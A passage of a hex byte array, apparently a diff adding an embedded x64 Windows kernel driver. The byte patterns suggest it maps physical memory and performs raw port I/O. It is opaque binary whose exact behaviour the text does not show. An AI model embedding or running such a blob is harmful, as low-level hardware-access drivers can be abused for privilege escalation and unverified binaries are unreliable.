0x08, 0x00, 0x00, 0x44, 0x8B, + 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, + 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, + 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, + 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, + 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, + 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, + 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, + 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, + 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, + 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, + 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, + 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, + 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, + 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, + 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, + 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, + 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, + 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, + 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, + 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, + 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, + 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, + 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, + 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, + 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, + 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, + 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, + 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, + 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, + 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, + 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, + 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, + 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, + 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, + 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, + 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, + 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, + 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, + 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, + 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, + 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, + 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, + 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, + 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, + 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, + 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, + 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, + 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, + 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, + 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, + 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, + 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, + 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, + 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, + 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, + 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, + 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, + 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, + 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, + 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, + 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, + 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, + 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, + 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, + 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, + 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, + 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, + 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, + 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, + 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, + 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, + 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, + 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, + 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, + 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, + 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, + 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, + 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, + 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, + 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, + 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, + 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, + 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, + 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, + 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, + 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, + 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, + 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, + 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, + 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, + 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, + 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, + 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, + 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, + 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, + 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, + 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, + 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, + 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, + 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, + 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, + 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, + 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, + 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, + 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, + 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, + 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, + 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, + 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, + 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, + 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, + 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, + 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, + 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, + 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, + 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, + 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, + 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, + 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, + 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, + 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, + 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, + 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, + 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, + 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, + 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, + 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, + 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, + 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, + 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, + 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, + 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, + 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, + 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, + 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, + 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, + 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, + 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, + 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, + 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, + 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, + 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, + 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, + 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, + 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, + 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, + 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, + 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, + 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, + 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, + 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, + 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, + 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, + 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, + 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, + 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, + 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, + 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, + 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, + 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, + 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, + 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, + 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, + 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, + 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, + 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, + 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, + 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, + 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, + 0xFA, 0x10, 0x72, 0x70, 